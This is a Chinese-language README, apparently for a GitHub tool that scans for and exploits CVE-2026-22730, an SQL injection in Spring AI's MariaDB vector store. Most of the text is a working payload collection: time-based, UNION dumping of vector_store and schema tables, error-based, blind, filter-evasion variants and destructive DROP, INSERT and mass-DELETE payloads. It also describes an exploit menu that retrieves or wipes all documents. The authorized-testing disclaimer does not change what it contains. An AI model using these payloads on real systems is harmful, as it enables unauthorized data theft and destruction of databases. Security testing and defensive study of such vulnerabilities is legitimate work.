
CVE-2026-22730 的扫描器与漏洞利用工具,该漏洞是 Spring AI 的 MariaDB 向量存储中的 SQL 注入。支持基于时间的检测、GET/POST 方法,以及带报告功能的漏洞利用。
CVE-2026-22730 扫描器与利用工具 – Spring AI MariaDB 向量存储 SQL 注入
一款针对 CVE-2026-22730 的专业安全评估工具——该漏洞是 Spring AI 的 MariaDB 向量存储中发现的一个严重 SQL 注入漏洞。此工具允许获得授权的渗透测试人员和安全研究人员检测并安全地利用该漏洞,用于教育或防御目的。
📖 概述
CVE-2026-22730 影响使用 MariaDB 向量存储的 Spring AI 1.0.x < 1.0.4 和 1.1.x < 1.1.3 版本。由于过滤器表达式中字符串值转义不当,攻击者可以通过用户可控参数(例如元数据过滤器)注入任意 SQL。这可能导致:
未经授权的数据检索 – 绕过基于元数据的访问控制
完全删除数据库 – 清空整个向量存储(破坏性)
静默数据泄露 – 在 RAG 管道中,泄露的数据会被纳入 LLM 响应而不被发现
该工具提供了一种安全、可配置的方法,用于在授权安全评估期间验证漏洞的存在并演示其影响(需获得明确同意)。
🚀 功能特性
✅ 基于时间的检测 – 使用 SLEEP() 注入确认漏洞
✅ 多种 HTTP 方法 – 支持 GET(查询参数)和 POST(JSON 请求体)
✅ 自定义休眠时长 – 可根据网络延迟或隐蔽性要求进行调整
✅ 利用选项 – 检索所有文档(SELECT)或删除所有文档(DELETE)
✅ 全面报告 – 生成 HTML、JSON 和纯文本报告
✅ 用户友好的 CLI – 交互式模式和完整的命令行参数
✅ 可扩展的载荷系统 – 轻松集成自定义注入字符串
📋 环境要求
Python 3.6 或更高版本
requests 库(pip install requests)
🔧 安装
bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git
cd cve-2026-22730-scanner
📖 使用方法
该脚本可以以交互模式或使用命令行参数运行。
基本语法
bash
python cve-2026-22730_scanner.py [options]
选项
选项 描述
--url 目标 URL(例如 http://localhost:8081/api/docs)
--method HTTP 方法:GET 或 POST(默认:GET)
--param GET 的查询参数名称,或 POST 的引用名称(可选)
--json-template 包含 PAYLOAD 占位符的 JSON 模板(POST 必需)
--baseline 用于基线请求的良性值(默认:nonexistent)
--sleep 基于时间检测的休眠秒数(默认:5)
示例
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'
bash
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
bash
python cve-2026-22730_scanner.py
系统将提示您输入 URL、方法、参数/JSON 模板、基线和休眠时间。
利用工作流程
如果发现目标存在漏洞,脚本会显示一个菜单:
text
[?] 目标存在漏洞。请选择利用选项:
1. 检索所有文档(SELECT 注入)
2. 删除所有文档(DELETE 注入)- 破坏性操作
3. 跳过利用
选项 1 发送 ' OR '1'='1 以检索所有行(非破坏性,仅读取数据)。
选项 2 使用 DELETE HTTP 方法发送相同的载荷 – 永久删除所有记录。需要明确确认。
所有操作都会被记录并包含在最终报告中。
📁 输出文件
每次运行后,当前目录中会生成三个带时间戳的文件:
cve-2026-22730_YYYYMMDD_HHMMSS.json – 包含所有详细信息的机器可读 JSON 报告。
cve-2026-22730_YYYYMMDD_HHMMSS.txt – 纯文本摘要,包括利用数据(如有)。
cve-2026-22730_YYYYMMDD_HHMMSS.html – 格式化 HTML 报告,适合共享或归档。
⚠️ 重要免责声明
此工具仅用于授权的安全测试和教育目的。
未经授权对您不拥有或未获得明确测试许可的系统使用此工具是非法且不道德的。
作者不对因使用本软件而造成的滥用或损害承担任何责任。
在扫描或利用任何目标之前,请务必获得书面许可。
📚 参考资料
GitHub 安全公告 GHSA‑c267‑rfvc‑mvpm
Spring 安全公告 AV26‑245
SecureLayer7 的原创研究文章
🤝 贡献
欢迎提交拉取请求、错误报告和功能建议。请先打开 issue 讨论重大更改。
📄 许可证
本项目根据 MIT 许可证授权 – 详情请参阅 LICENSE 文件。
由 Nabeel 用 ❤️ 开发
PYLOAD 示例
献给安全社区
📌 如何使用这些载荷
在脚本中,使用 POST 和 --json-template 时,请将 PAYLOAD 替换为下方列表中的任意载荷。
对于 GET 请求,只需将载荷作为参数值传递(脚本会自动处理 URL 编码)。
🔥 载荷类别
如果注入成功,这些载荷会导致延迟。使用它们来确认漏洞。
载荷 描述
' OR SLEEP(5) -- 标准基于时间的载荷。如果查询暂停约 5 秒,则注入有效。
' OR BENCHMARK(10000000,MD5('a')) -- MySQL/MariaDB 的替代方案(BENCHMARK)。
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- 嵌套休眠以绕过某些过滤器。
' OR 1=1 AND SLEEP(5) -- 将恒真条件与休眠相结合。
这些载荷使 WHERE 子句始终为真,返回所有记录。
载荷 描述
' OR '1'='1 经典的恒真注入。
' OR 1=1 -- 另一种变体(-- 后需要空格)。
' OR ''=' 依赖空字符串比较。
' OR 1=1# 使用 # 作为 MariaDB 注释(URL 编码为 %23)。
' OR 1=1 LIMIT 1 -- 仅返回一行(适用于受控输出)
当应用程序显示结果时非常有用。您需要匹配列数。
载荷 描述
' UNION SELECT NULL, database(), user(), version() -- 检索数据库名称、用户、版本。(调整 NULL 数量以匹配列数。)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- 列出表。
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- 列出列。
' UNION SELECT 1, content, metadata FROM vector_store -- 转储实际数据(如果列数匹配)。
触发泄露信息的错误。
载荷 描述
' AND extractvalue(1, concat(0x7e, database())) -- MariaDB/MySQL 基于错误。
' AND updatexml(1, concat(0x7e, version()), 1) -- 另一种错误方法。
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- 重复键错误。
当没有输出或错误显示,但应用程序行为发生变化时非常有用。
载荷 描述
' AND (SELECT ascii(substring(database(),1,1))) > 64 -- 检查数据库名称的第一个字符。
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- 检查表的数量。
' OR (SELECT 1 FROM users LIMIT 1) = 1 -- 测试表是否存在。
破坏性载荷(请极其谨慎使用)。
载荷 描述
' OR '1'='1 与 DELETE 一起使用时,删除所有行。
' OR 1=1; DROP TABLE vector_store -- 尝试删除整个表(需要堆叠查询,通常被禁用)。
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- 尝试插入新数据。
混淆版本以规避简单的模式匹配。
载荷 描述
%27%20OR%20SLEEP(5)%20-- URL 编码(脚本会自动处理)。
' //OR//SLEEP(5)/**/-- 内联注释以拆分关键字。
' OR 0x273d27=0x273d27 -- 十六进制编码的比较('=')。
' OR 1=1 /!50000SLEEP(5)/ -- MySQL 版本特定注释。
载荷 描述
' OR '1'='1 用于检索所有文档(概念验证)。
' OR SLEEP(5) -- 扫描器中使用的基于时间的检测载荷。
' OR '1'='1 也用于 DELETE 注入。
📝 带载荷的 JSON 模板示例
json
{"department": "' OR SLEEP(5) --"}
{"department": "' OR '1'='1"}
{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}
在脚本中,您可以将模板传递为:
bash
--json-template '{"department": "PAYLOAD"}'
脚本会将 PAYLOAD 替换为实际的载荷。
注意 关于 URL
脚本需要接受易受攻击参数的端点的完整 URL。 例如:
✅ http://example.com/api/docs – 如果端点是 /api/docs
✅ http://example.com/search – 如果端点是 /search
❌ http://example.com – 不够,脚本需要确切的路径